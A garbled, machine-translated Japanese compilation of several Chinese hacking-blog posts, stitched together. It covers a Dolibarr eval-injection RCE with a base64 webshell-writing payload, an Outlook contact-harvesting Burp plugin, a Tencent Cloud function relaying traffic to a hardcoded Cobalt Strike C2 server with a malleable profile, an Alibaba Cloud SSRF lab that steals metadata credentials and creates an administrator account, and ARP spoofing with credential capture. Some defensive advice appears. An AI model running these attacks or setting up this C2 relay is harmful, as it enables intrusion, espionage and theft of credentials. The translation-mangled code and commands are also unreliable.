$ menu=$ this-db-fetch_array($ resql);

//$右を定義します
$ perms=true;
if(isset($ menu ['perms'])){
$ tmpcond=$ menu ['perms'];
if($ leftmenu=='all'){
$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します
}
$ perms=verifcond($ tmpcond);
//'verifcond rowid='。$ menu ['rowid']。 'を印刷します。 '。$ tmpcond.':'。$ perms.'br \ n ';
}

//$ enabledを定義します
$ enabled=true;
if(isset($ menu ['enabled'])){
$ tmpcond=$ menu ['enabled'];
if($ leftmenu=='all'){
$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します
}
$ enabled=verifcond($ tmpcond);
}
ここで実行されているSQLステートメントを見るために正面に行きましょう。 「.main_db_prefix」のデータを照会しています。メニューテーブルですが、条件付きステートメントがあります
(0、 '。$ conf-entity。')のm.entity
m.menu_handler in( ''。$ this-db-escape($ menu_handler)。 ''、 'all')
したがって、「.main_db_prefix」に挿入ステートメントを見つけることができる場合。メニューでは、パームを制御し、フィールドとエンティティとmenu_handlerを有効にして、条件を満たすことができます。エンティティは$ conf-entityから来ていることに注意してください
$ sql='Select M.Rowid、M.Type、M.Module、M.FK_Menu、M.FK_Mainmenu、M.FK_LeftMenu、M.Url、M.Titre、M.Prefix、M.Langs、M.Perms、M.Enabled、M.Target、M.Mainmenu、M.Leftmenu、M.Leftmenu、M.Position';
$ sql。='from' .main_db_prefix.'menu as m ';
$ sql。='ここで、m.entity in(0、'。$ conf-entity。 ')';
$ sql。='およびm.menu_handler in(' '。$ this-db-escape($ menu_handler)。' '、' all ')';
if($ type_user==0){
$ sql。='およびm.usertype in(0,2)';
}
if($ type_user==1){
$ sql。='およびm.usertype in(1,2)';
}
$ sql。='M.Position、M.Rowid'による注文;
ここでは、定期的な検索を検索してください。実際、同じファイルにcreate()関数、そのような点があります。

次に、パラメーターが制御可能かどうかを確認する必要があります。ここの値はメンバー属性として設定されますが、エンティティは$ conf-entityであり、上記のSQLクエリもこれであるため、条件を直接満たします。

次に、menuload関数を実行するときにmenu_handlerが自動的に入力されることがわかりました。

したがって、両方の条件が解決された場所。残りは、パーマとイネーブルが制御されているかどうかを確認することです。クラス内のメンバー変数を割り当てる場所はないため、グローバルに検索する必要があります。
メニュー/edit.phpでパーマとイネーブルを直接制御できることがわかります

デバッグ後、MenuIDは一意である必要があることがわかりました。そうしないと、競合し、データベースに書き込むことができません。ここでのタイプは1に設定する必要があります。そうしないと、エラーが報告されます。

次に、WAFをバイパスしてevalを実行する方法を研究します。ここで、著者のアプローチは、PHP:変数関数の特性を使用することです
//file_put_contents
$ a=base64_decode( 'zmlszv9wdxrfy29udgvudhm=');
//shellcode
$ a( '。1234.php'、base64_decode( 'pd9wahagcghwaw5mbygpoz8+cg=='));
Verifcond関数を見る
これが文字列のスプライシングです。 evalが実行されているため、ブラケットを閉じて次のコードをコメントすることができます。
関数verifcond($ stroevaluate)
{
グローバル$ユーザー、$ conf、$ langs;
グローバル$ leftmenu;
グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';
$ rights=true;
if(ISSET($ sttoevaluate)$ stroevaluate!==''){
$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';
dol_eval($ str、0、1、 '2');
}
$ rightsを返します。
}
これはそのようなペイロードです(無害なペイロード
1==1)
次に、有効なパラメーターを配置してデータベースに保存すると、最終的にパッケージは次のとおりです。

データベースに正常に保存されます

デバッグしてVerifcondを入力します

Verifcond、悪意のあるコンストラクトステッチバイパスでフォローアップ、Dol_Evalを入力します

コード実行に正常に

成功したけいれん

脆弱性コールスタック


0x03脆弱性の概要
ここでのこのRCEの脆弱性の原則は、実際には二次注射に似ています。まず、悪意のあるコードがデータベースに保存され、次にデータベースからデータを抽出するときに悪意のあるコードがトリガーされます。ここでもWAFがバイパスされ、PHP機能——変数関数を使用します

脆弱性修正
ここでは、著者の脆弱性に対する修正は、Verifcond関数を強化することです
ここで、文字列のスプライシングがキャンセルされ、dol_evalの4番目のパラメーターは「1」です

これは、次の判断になります。ここでのコメントを見てください。ここのルールは、RCEを防ぐように設計されています。

1つは、DOL_EVAL関数の強化です。ここで、ForbiddenPhpFunctionsはVerifcond関数を追加します。これはVerifcondの実行を直接禁止しますが、このHHHの意味がわかりません

著者:Huamang
元のテキスト接続から転載:https://blog.huamang.xyz/post/cve-2022-40871/
HireHackking

タイトル:Outlook情報収集ツール

0x01はじめに
これは、Outlookユーザー情報の収集のためのげっぷプラグインです。 Outlookアカウントにログインした後、これを使用できます。
プラグインは、すべての連絡先情報を自動的にクロールします
0x02インストール
バープエクステンションパネルに瓶をロードするだけ
0x03関数はじめに
1.すべてのユーザー
プラグインをロードした後、Outlook連絡先パネルを入力して、すべてのユーザーをクリックします

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス
/wa/service.svc?action=findpeopleapp=people

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザーメールを取得してすべてのメールを取得します。

2。注意
このAPIには、同じURLと異なるポスト提出パラメーターが多数あります。間違ったAPIインターフェイスを選択すると、ポップアッププロンプトがあります。
010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス
/wa/service.svc?action=getpersonaapp=people

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザー個人情報を取得してすべての連絡先情報を取得します。
取得するツール:公式アカウント返信キーワード「Outlook」
HireHackking
まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。
Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。
最初にログインし、承認が必要です。
コンソールにログインしたら、[作成]をクリックします。
関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。
次のコードをコピーして、サーバーアドレスを変更します。
#Coding: UTF8
JSON、リクエスト、Base64をインポートします
def main_handler(イベント、コンテキスト):
応答={}
パス=なし
ヘッダー=なし
try:
C2='http://43.134.164.72:80'
event.keys():の「パス」の場合
path=event ['path']
event.keys():の「ヘッダー」の場合
ヘッダー=イベント['ヘッダー']
event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合
resp=requests.get(c2+path、headers=headers、verify=false)
else:
resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)
印刷(resp.headers)
印刷(resp.content)
応答={
'isbase64encoded': true、
'StatusCode': resp.status_code、
'Headers ': dict(resp.headers)、
'body': str(base64.b64encode(resp.content))[2:-1]
}
E:としての例外を除く
印刷( 'エラー')
印刷(e)
最後に:
返信応答

終了したら、[保存]をクリックしてください!
次に、[トリガー管理]をクリックしてトリガーを作成します
フォーマットは次のようにです
API名をクリックして編集し、このページに到着します。パスは /に変更されます
クリックして、完了後にサービスを公開します
win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました
SAMPLE_NAME 'T'を設定します。
Sleeptime '3000'を設定します。
Jitter '0'を設定します。
Maxdns '255'を設定します。
set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';
http-get {
set uri '/api/x';
クライアント {
ヘッダー「Accept」*/*';
メタデータ{
base64;
prepend 'sessionid=';
ヘッダー「クッキー」;
}
}
サーバー{
ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';
ヘッダー「コンテンツ転送エンコード」「バイナリ」。
ヘッダー「サーバー」 'nodejs';
出力{
base64;
印刷;
}
}
}
http-stager {
set uri_x86 '/vue.min.js';
set uri_x64 '/bootstrap-2.min.js';
}
http-post {
set uri '/api/y';
クライアント {
ヘッダー「Accept」*/*';
id {
base64;
'jsession=';
ヘッダー「クッキー」;
}
出力{
base64;
印刷;
}
}
サーバー{
ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';
ヘッダー「コンテンツ転送エンコード」「バイナリ」。
ヘッダー「接続」 'キープアリブ';
出力{
base64;
印刷;
}
}
}
保存後、CSディレクトリに保存します。
CSサーバーを起動します
./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile
パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します
HTTPおよび80 に注意してください
リスニングを追加します
シェルを生成した後、正常に起動されました。元のテキスト接続:https://Blog.bbskali.cn/3771.html
HireHackking
0x00はじめに
この記事では、Alibaba Cloudを使用して、クラウドサービスで攻撃的および防御的な方法を示すための例として使用されます。まず、Terraformを使用してECS SSRF脆弱性環境を構築し、次にステップバイステップで、インスタンスに存在するSSRF脆弱性を介してクラウドサービスアカウントのすべてのAlibabaクラウドサービス許可を取得します。

0x01環境構築
この記事では、Terraformgoatを使用して撮影範囲を構築しています。 Terraformgoat範囲アドレス:https://github.com/huocorp/terraformgoat(opens new Window)
射撃場を展開するときは、Alibaba Cloud AccessKeyを使用する必要があります。クラウドの生産環境に影響を与えることを避けるために、ここで非生産環境でAccessKeyを使用し、生産環境と同じアカウントを使用しないことを強くお勧めします。
Terraformgoatツールの反復更新により、次の環境構築方法が失敗し、展開方法はより便利でフレンドリーになりました。特定の展開方法については、上記のTerraformgoat射撃範囲の住所を参照してください。
次に、射撃場の構築を開始し、最初に射撃場プロジェクトをローカルエリアにクローンし、射撃範囲をダウンロードするために必要な依存関係を構築し始めます。
git clone 3https://github.com/huocorp/terraformgoat.git - デプス1
CD Terraformgoat
Dockerビルド。 -t terraformgoat:v0.0.3
docker run -itd -Name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin /bash githubアクセスが遅い場合、ターミナルにプロキシを掛けることができます
proxy_url='127.0.0.133601080'エクスポートhttps_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //次に使用します。ここでは、Alibaba Cloud Serviceを例に取り、2を入力してAlibaba Cloudを選択してEnterを押します。

Alibaba Cloud ECS SSRFシューティングレンジパスを入力して、アクセスキーを構成します
cd/terraformgoat/aliyun/ecs/ecs_ssrf/
Aliyun Configuration
SSRF範囲を展開します
Terraform init
INITの初期化が遅い場合は、Terraformが適用されます。プロキシを掛けてください。
適用期間中、入力値がプロンプトされ、YESを入力して入力します。

出力では、返された範囲アドレスを見ることができます。このアドレスにアクセスすると、SSRFテスト範囲のページが表示されます。これは、環境が構築されたことを意味します。


0x02環境利用
現在の環境にはSSRFの脆弱性がありますが、通常のSSRFが位置する環境とは異なり、ここのSSRFの脆弱性がクラウドサーバーに表示されます。つまり、このSSRFの脆弱性を通じてサーバーのメタデータ情報を取得できます。
メタデータにアクセスします
http://100.100.100.200/最新/メタデータ
返された結果では、現在の環境にはRAM/ディレクトリがあることがわかります。つまり、現在のクラウドサーバーにはRAMロールが構成されているため、一時的な資格情報を取得できます。
メタデータを介して一時的な資格情報を取得します
ここのURLのHuocorp-Terraform-Goat-Roleは、http://100.100.100.200/最新/Meta-Data/RAM/Security-Credentials/にアクセスすることで取得できます。
http://100.100.100.200/最新/Meta-Data/RAM/Security-CreDentials/Huocorp-Terraform-Goat-Role
Aliyunコマンドラインツールに一時的な資格情報を構成します。
Aliyun configure - モードStstoken
サブユーザーと助成金管理者の許可を作成します
Aliyun Ram CreateUser -Username Teamssix
Aliyun Ram CreateLoginProfile -Username TeamSix -PassWord TeamSix@666
aliyun ram attachpolicytouser ---ポリシュイタイプシステム - ポリックナムadministratorAccess -username teamsix
https://Signin.aliyun.com(新しいウィンドウを開く)ページにアクセスして、RAMユーザーを介してログインします。ここのユーザー形式は、USERNAME@Company-Aliasで、ユーザー名は作成したばかりのユーザー名です。 Company-Aliasは、次のコマンドから取得できます。
Aliyun Ram GetAccountalias
ここのアカウンタリアは、私たちが必要とする会社です。次にコンソールにログインできます。

ユーザーが今作成されたときにパスワードを入力してください

ログインした後、ターゲットコンソールが表示されます。

現在、ユーザーを作成するときにAdministratorAccessの許可が付与されたため、RAM Access Control Officeから、現在のアカウントがすべてのAlibabaクラウドリソースを管理する許可があることを確認できます。

Cloud Service ECSインスタンスでは、作成したばかりのSSRFシューティングレンジサーバーも表示できます。

この時点で、クラウドサーバーのSSRF脆弱性を活用することにより、Alibaba Cloud Consoleを引き継ぐために実装されています。
さらに、この環境にフラグファイルも配置されます。興味がある場合は、このフラグを見つけることができます。書き込みアドレス:https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(オペンズ新しいウィンドウ)

0x03防衛測定
SSRFに加えて、この環境には他に2つの主要な問題があります。
RAMの役割はあまりにも大きすぎるため、役割の許可を通じてサブユーザーの作成や、補強なしでサブユーザーに高い許可を付与するなど、操作メタデータにつながります。その結果、ターゲットにSSRFがあるか、ターゲットの権限が削除されると、メタデータは取得されるリスクがあります。最初のRAM役割の過度の権限の問題については、主なことは、ユーザーが権限を最小化するという原則を厳密に順守することです。 RAMの役割に権限を付与する場合、あまりにも高い権限を与えたり、必要な権限を付与したりすることのみを避けます。
2番目のメタデータのアクセスが硬化していないという問題に応じて、インスタンスのメタデータアクセスモードを硬化モードに設定できます。これは基本的なソリューションです。メタデータアクセスモードを硬化モードに設定するには、次の2つの方法があります。
インスタンスを作成するときに、システム構成の高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。
すでに作成されたインスタンスでは、Alibaba Cloud Openapiでトークンを使用してメタデータの強制アクセスを有効にすることができます。 Openapiアドレス:https://NEXT.API.ALIYUN.COM/API/ECS/2014-05-26/MODIFYINSTANCEMETADATAOPTIONS(Opens New Window)
httptokensを必要なものに設定するということは、硬化モードが強制的に使用されることを意味します。現時点では、メタデータにアクセスすると403が促されます。

メタデータを強化モードに設定すると、メタデータがSSRFを使用してメタデータが取得されるのを防ぐことができますが、インスタンスの許可が削除された場合、レッドチームはインスタンスでトークンを取得してからメタデータを取得するためにトークンを使用してコマンドを実行できます。
Linuxインスタンスでトークンを取得するコマンドは次のとおりです。
トークン=`curl -x put 'http://100.100.100.200/rest/api/token' -h 'x-aliyun-metadata-token-ttl-seconds: 21600'``` `` `` `Getトークン
Curl -H 'X-Aliyun-Ecs-Metadata-Token: $ Token' http://100.100.100.200/最新/Meta-Data/
Windowsインスタンスで取得する方法については、Alibaba Cloudの公式文書を参照してください:https://help.aliyun.com/document_detail/108460.htm(Opens new Window)
メタデータアクセスモードを補強モードに設定するこの方法は、SSRFの脆弱性を防御するための補強モードになります。

0x04環境削除
作成されたサブアカウントを削除します
Aliyun Ram DetachpolicyFromuser - PolicyType System - PolicYname AdministratorAccess - Username TeamSsix
Aliyun Ram Deleteuser -Username TeamSixは、SSRF射撃範囲環境を削除します。射撃範囲を使用した後、ここで作成されたクラウドサービスは時間ごとに請求され、この射撃範囲インスタンスの価格は1時間あたり0.17人民元であるため、時間内に削除することを忘れないでください。
射撃範囲を破壊する前に、AccessKeyを初期アクセスキーとして構成し、コマンドを構成することを忘れないでください:Aliyun configure - mode ak
Terraform Destroy Terraformgoatをクリアしたい場合は、次のコマンドを使用できます。将来クラウド攻撃と防御を学びたい場合は、Terraformgoat環境を維持できます。
Dockerはterraformgoatを停止します
Docker RM Terraformgoat
Docker RMI terraformgoat:V0.0.3
0x05要約
ここでは、クラウドのSSRF脆弱性を通じて一時的なキーが得られました。管理者アクセスを備えたサブスクライバーが一時キーを介して作成され、最後にターゲットコンソールがこのサブスクライバーを介して引き継がれました。
ただし、この方法を実際の戦闘で使用するためのいくつかの前提条件があり、主な前提条件は次の2つです。
ECSインスタンスにはRAMの役割を付与する必要があります。そうしないと、一時的な資格情報にアクセスするメタデータは404ramを返します。この役割には、ユーザーの作成、許可の付与など、RAMアクセス制御に関連する運用許可が必要です。そうしないと、一時キーにはサブユーザーを作成する許可がありません。実際の戦闘では、ECSインスタンスにRAMの役割が付与されている場合、ほとんどの場合、役割にはユーザー作成の許可がありません。現時点では、サブアカウントを作成してコンソールにログインすることは不可能です。 Alibaba Cloud Command Lineツールを使用して、ターゲットクラウドサービスを操作できます。
一般に、クラウド攻撃と防御は、従来のイントラネット攻撃と防御とは依然として非常に異なります。
クラウド攻撃と防御の一般的な問題は、構成エラーです。たとえば、ここでの問題は、RAMの役割構成権限が高すぎることです。クラウド攻撃と防御の許可を維持する主な方法は、従来の攻撃と防御に関するさまざまな許可を持つのではなく、高恵まれたRAMユーザーを作成することです。クラウド攻撃と防御のイントラネットの水平方向は、伝統的な攻撃や防御などのさまざまなイントラネットの水平方式を持つのではなく、このクラウドサービスから別のクラウドサービスまで、クラウドサービスメーカーのコマンドラインまたはコンソールで主に水平方向にあります。最後に、この記事に記載されているコマンドの多くは、Fireline Cloud Security Knowledge Baseのコンテンツを参照しています。ナレッジベースアドレスは、https://Cloudsec.huoxian.cn(新しいウィンドウを開きます)です。知識ベースのホームページに、ファイヤーラインクラウドサービス攻撃と防御マトリックスを見ることができます。この記事は、この攻撃と防御マトリックスに基づいたクラウド攻撃と防御です。

学習するためのより多くのクラウドセキュリティリソースを見つけたい場合は、現在100を超える国内および外国のクラウドセキュリティブログ、ツール、公式アカウント、その他のリソースが含まれているAwesome Cloud Security Projectにアクセスできます。プロジェクトアドレスは、https://github.com/teamssix/awesome-cloud-security(オペンズ新しいウィンドウ)です。

参照記事:https://Cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs
元の接続:https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html
HireHackking
arp攻撃
契約の紹介
ARPのフルネームはアドレス解像度プロトコルであり、アドレス解像度プロトコルです。 IPアドレスに基づいて物理アドレスを取得するのは、TCP/IPプロトコルです。ホストが情報を送信すると、ターゲットIPアドレスを含むARP要求をネットワーク上のすべてのホストにブロードキャストし、ターゲットの物理アドレスを決定するための返品メッセージを受信します。返品メッセージを受信した後、IPアドレスと物理アドレスはネイティブARPキャッシュに保存され、一定期間予約されます。 ARPキャッシュは、リソースを保存するために次にリクエストしたときに直接照会されます。
ARPアドレス解像度プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受信した場合、メッセージの信頼性を検出せず、ネイティブARPキャッシュに記録します。したがって、攻撃者は特定のホストに擬似ARP返信メッセージを送信することができます。そのため、送信する情報は、ARPのスプーフィングを構成する予想ホストまたは間違ったホストに到達できません。
動作原理

環境の仮定
ホストA:
IPアドレス:192.168.1.1MACアドレス:0A-11-22-33-44-01HOST B:
IPアドレス:192.168.1.2MACアドレス:0A-11-22-33-44-02
ワークフロー
ステップ1:ホストAのルーティングテーブルコンテンツによると、ホストBにアクセスするために使用されるフォワーディングIPアドレスが192.168.1.2であると判断し、ホストAはローカルARP CACHのホストBの一致MACアドレスをチェックします。ステップ2:ホストAがARPキャッシュにマッピングが見つからない場合、192.168.1.2のハードウェアアドレスに尋ねるため、ARPリクエストフレームが拡大します。ローカルネットワーク上のすべてのホストに再生すると、ソースホストAのIPアドレスとMACアドレスがARPリクエストに含まれています。ローカルネットワーク上の各ホストはARP要求を受信し、独自のIPアドレスと一致するかどうかを確認します。ホストが、要求されたIPアドレスが独自のIPアドレスと一致しないことを発見した場合、ARPリクエストを破棄します。ステップ3:ホストBは、ARP要求のIPアドレスが独自のIPアドレスと一致し、ホストAのIPアドレスとMACの位置がローカルARPキャッシュに追加されることを決定します。ステップ4:ホストBは、MACアドレスを含むARP応答メッセージをホストAに直接戻します。ステップ5:ホストAがホストBから送信されたARP応答メッセージを受信すると、ホストBのIPおよびMACアドレスマッピングでARPキャッシュを更新します。ローカルキャッシュには生涯があります。寿命が終了すると、上記のプロセスが再び繰り返されます。ホストBのMACアドレスが決定されると、ホストAはIP通信をホストBに送信できます。
キャッシュメカニズム
ARPキャッシュは、IPアドレスとMacアドレスを保存するために使用されるバッファーです。そのエッセンスは、IPアドレス-MACアドレスの対応するテーブルです。テーブル内の各エントリは、ネットワーク上の他のホストのIPアドレスと対応するMACアドレスを記録します。各イーサネットまたはトークンリングネットワークアダプターには、独自のテーブルがあります。アドレス解像度プロトコルが既知のIPアドレスノードのMACアドレスについて尋ねられると、最初にARPキャッシュで表示されます。存在する場合、対応するMacアドレスを直接返します。存在しない場合は、LANを照会するARPリクエストを送信します。ブロードキャストボリュームを最小限に抑えるために、ARPは将来の使用のためにMACアドレスマッピングへのIPアドレスのキャッシュを維持します。
ARPキャッシュには、動的および静的プロジェクトを含めることができます。動的プロジェクトは自動的に追加され、時間とともに削除されます。各動的ARPキャッシュアイテムの潜在的なライフサイクルは10分です。新しく追加されたアイテムはタイムスタンプされています。プロジェクトが追加されてから2分以内に使用されない場合、プロジェクトは有効期限が切れ、ARPキャッシュから削除されます。プロジェクトがすでに使用されている場合、さらに2分間のライフサイクルが受信されます。プロジェクトが常に使用されている場合、10分の最長のライフサイクルまでさらに2分間のライフサイクルが受信されます。静的プロジェクトは、コンピューターが再起動されるまでキャッシュに残ります。

arpスプーフィング
ARPアドレス解決プロトコルは、ネットワーク内のさまざまなホスト間の相互信頼に基づいています。その誕生により、ネットワークはより効率的に実行されますが、欠陥もあります。 ARPアドレス変換テーブルは、コンピューターのキャッシュメモリの動的な更新に依存し、キャッシュメモリの更新は更新サイクルによって制限され、最近使用されたアドレスのマッピング関係テーブルエントリのみが保存されます。これにより、攻撃者は、キャッシュメモリがテーブルエントリを更新して攻撃を実現する前に、アドレス変換テーブルを変更する機会を与えます。
ARPリクエストはブロードキャストフォームで送信されます。ネットワーク上のホストは、ARP応答メッセージを個別に送信できます。他のホストが返信メッセージを受け取ったとき、メッセージの信ity性を検出し、ローカルMACアドレス翻訳テーブルに記録しません。このようにして、攻撃者はターゲットホストに擬似ARP応答メッセージを送信し、それによりローカルMACアドレステーブルを改ざんします。 ARPのスプーフィングにより、ターゲットコンピューターがゲートウェイと通信できなくなる可能性があり、通信のリダイレクトにもつながります。すべてのデータは攻撃者のマシンに渡されます。攻撃者は、ターゲットとゲートウェイの間でデータを転送します。これは、ターゲットの通常のインターネットアクセスに影響を与えることなくターゲットを聴く目的を達成するために、「仲介者」として使用できます。
欺ceptionの実践

基本環境
攻撃ホスト:192.168.174.129 00:0C:29:39:BE:EB正常ホスト:192.168.174.170 00:0C:29336008:AD:EBゲートウェイアドレス:192.168.174.2
切断攻撃
ステップ1:攻撃ホストのポート転送を閉じる
#終了
echo 0/proc/sys/net/ipv4/ip_forward
#許可する
Echo 1/proc/sys/net/ipv4/ip_forward

ステップ2:通常のホストで現在のARP解像度リストを表示します

ステップ3:通常のホストでバイドゥにピン留めします
ping www.baidu.com -T

通常、Baiduにアクセスできます。

ステップ4:次に、ネットワークは攻撃ホストのAprspoofによって切り取られます
usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host
#パラメーター説明:
- 使用するインターフェイスを指定します
-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)
-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです
-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)
#executionの例:
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

ステップ5:Pingリクエストがタイムアウトし、ブラウザがwww.baidu.comを開くことができないことがわかります。同時に、ARP解像度テーブルをチェックすると、ゲートウェイのMACアドレスが正常にスプーフィングされ、攻撃者のMACアドレスに設定されていることがわかります。
step 6:その後、攻撃が中断されました(以前に-cパラメーターを指定しなかったため、元のMacアドレスが復元されます)
pingが通常に戻り、ページとARPテーブルも通常に戻ることがわかります


画像データ
ステップ1:ポート転送をオンにし、マシンがルーターのようなデータ情報を転送できるようにします
Echo 1/proc/sys/net/ipv4/ip_forward

ステップ2:通常のホストで現在のARP解像度リストを表示します

ステップ3:通常のホストでWebページにアクセスする

usage: arpspoof [-i interface] [-c own | host | blos] [-t target] [-r] host
#パラメーター説明:
- 使用するインターフェイスを指定します
-C ARP構成を復元するときに使用されるMACアドレスを指定します。デフォルトは元のMacを使用することです(つまり、ARPSPOOFコマンドを停止した後、デフォルトで脱着します)
-t毒されるホストを指定します。指定されていない場合、LANの下のすべてのホストにデフォルトです
-R双方向中毒(宿主とターゲット)、したがってデータの双方向キャプチャ(-Tが同時に指定されている場合にのみ有効)
#executionの例:
arpspoof -i eth0 -t 192.168.174.170 192.168.174.2

ステップ5:その後、DriftNetはWebサイトにアクセスする際に被害者ユーザーの残存画像データ情報を取得します


ログイン資格情報
ステップ1:ここでは、上記の画像データパーツを拡張し続けます。EtterCapを使用して攻撃ホストの通信データをキャプチャします
eTtercap -tq -i eth0

ステップ2:サードパーティFTPサービスをシミュレートします

ステップ3:ユーザーはサードパーティのFTPサービスにアクセスし、認証します

ステップ4:攻撃者はユーザーのアカウントパスワード情報を正常にキャプチャします

スプーフィング拡張機能
ここでは、いくつかの一般的に使用されるARPスプーフィング方法とWindowsでのARPスプーフィングツールの使用を追加します〜

netfuke
3
テスト環境
ターゲットホスト:192.168.174.170(勝利7)攻撃ホスト:192.168.174.169(Windows Server 2003)ゲートウェイアドレス:192.168.174.2
欺ceptionプロセス
ステップ1:ネットフェットの実行中のホストの実行と、ネットフェの実行を担当します。 ARPスプーフィングは実行できません)

ステップ2:ARPスプーフィングの構成

ステップ3:プラグインコマンドパラメーター設定

ステップ4:ARPスプーフィングをオンにします

攻撃検出

XARPツールの紹介
XARPは、海外で人気のあるARPファイアウォールソフトウェアです。ユーザーが特別な検出システムを確立し、高度なテクノロジーを使用して、ネットワーク上のさまざまなARP攻撃を検出および処理するのに役立ちます。たとえば、ARPスプーフィングを使用して、攻撃者は、電子メールやパスワードなど、すべてのネットワークトラフィックを盗聴できます。これはすべて発見されていません。 XARPは、このような攻撃を検出するためのアクティブおよびパッシブ方法を実行します。

攻撃検出
ステップ1:NetFukeをオンにしてARPスプーフィング攻撃を実装する

ステップ2:次に、XARP側はアラーム情報と関連する記録情報を見ることができます

ps:私は個人的にこのツールがそれほど良くないと感じています〜
防御測定
ARP詐欺の防衛方法は、主に次の2つの側面から始まります。
a。鍛造データパケットの伝播をブロックします。
この方法は、主にスイッチやルーターなどのネットワークデバイスの観点から始まります。スイッチを例にとると、スイッチのポート、MACアドレス、IPアドレスにバインドして、DAI(動的ARP検査)検出テーブルを生成します。特定のポートのホストがDAIテーブルのエントリと一致しないデータパケットを送信した場合、ネットワークを切断するか、送信するデータパケットを破棄することを選択できます。
b。被害者は偽のデータパケットを受け入れません
この方法は、主にユーザーの観点から始まります。まず、なじみのないネットワークにアクセスしないことは確かです。第二に、ユーザーはデバイスにARPファイアウォールをインストールできます。技術者である場合、静的ARPエントリを確立することを選択できます(頻繁に変化しないネットワーク環境に適しており、少数が少ない)。 windonwdeユーザーはコマンド 'arp -s ip'アドレスMacアドレスを使用して静的バインディングを実行します
dns攻撃
ドメイン名システム
DNS(ドメイン名システム)、つまりドメイン名解像度プロトコル。ドメイン名システムは、分散データベースの形でドメイン名とIPアドレスを互いにマッピングします。簡単に言えば、DNSはドメイン名を解決するために使用されます。 DNSを使用すると、迷惑なIPアドレスを覚えておく必要がなくなりました。比較的覚えやすいドメイン名を使用して、サーバーにアクセスします。サーバーがIPアドレスを変更したとしても、ドメイン名を介してサーバーにアクセスすることができます。これにより、インターネットにアクセスするのがより便利になります。

www.baidu.comをブラウザに入力すると、次のクエリプロセスを実行します。
クライアントは、www.baidu.comローカルDNSサーバーのローカルDNSサーバーをクエリして、ローカルデータベースを確認します。 Baidu.comドメインの記録はないため、クエリ情報をルートドメインDNSサーバーに渡し、解像度のホスト名を要求します。ルートドメインDNSサーバーは、「com」ドメインをローカルDNSサーバーに解決するためのDNSサーバーのIPアドレスを返します。ローカルDNSサーバーは、「com」ドメインサーバーを担当する「com」ドメインサーバーを担当するDNSサーバーにリクエストを送信します。リクエストによると、「baidu.com」ドメインを担当するDNSサーバーのIPアドレスは、「baidu.com」ドメインを担当するローカルDNSサーバーに返されます。ローカルDNSサーバーは、「baidu.com」ドメインを担当するDNSサーバーにリクエストを送信します。このサーバーにはwww.baidu.comのレコードがあるため、www.baidu.comになります。 IPアドレスはローカルDNSサーバーに返されます。ローカルDNSサーバーは、www.baidu.comのIPアドレスをクライアントに送信します。ドメイン名が正常に解決された後、クライアントはHTTP要求をWebサーバーに送信します。 Webサーバーは、クライアントのアクセスリクエストに応答します。クライアントはターゲットホストにアクセスできます。
dnsスプーフィング
DNSはインターネットでこのような重要な役割を果たしていますが、DNSプロトコルを設計するとき、設計者はいくつかのセキュリティの問題を考慮せず、DNSのセキュリティリスクと欠陥につながりました。 DNSスプーフィングは、DNSプロトコルを設計する際に非常に深刻なセキュリティ欠陥です。
